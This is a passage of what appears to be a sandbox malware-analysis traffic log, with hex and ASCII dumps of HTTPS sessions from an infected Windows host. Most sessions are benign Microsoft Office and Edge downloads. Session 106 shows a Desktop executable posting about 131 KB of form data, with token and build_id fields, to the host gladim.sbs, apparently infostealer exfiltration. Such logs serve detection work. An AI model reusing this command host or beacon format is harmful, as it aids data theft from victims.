R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:44 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:45 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 454be365-001e-0065-3d29-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003445Z-174f784596886s2bhC1EWR743w00000013mg00000000pb2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:45 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49872	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKKEHDHCBFIEBFBGID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------DBKKKEHDHCBFIEBFBGIDCont
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:45 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: b6cdcd34-001e-0014-02c7-435151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003445Z-174f78459685726chC1EWRsnbg00000013r000000000cu9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:45 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49871	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:45 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:45 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 9ff48b94-601e-0033-5f51-44312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003445Z-174f78459685m244hC1EWRgp2c00000013h0000000008xyc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:45 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49876	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:46 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:46 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: aa27c2ff-a01e-0025-6f51-44f0b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003445Z-174f78459688l8rvhC1EWRtzr00000000ga00000000072wk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:46 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49873	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:46 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:46 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 6f3dacbb-901e-0069-5951-4437ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003445Z-174f7845968j6t2phC1EWRcfe800000013r000000000ppwf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:46 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49877	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
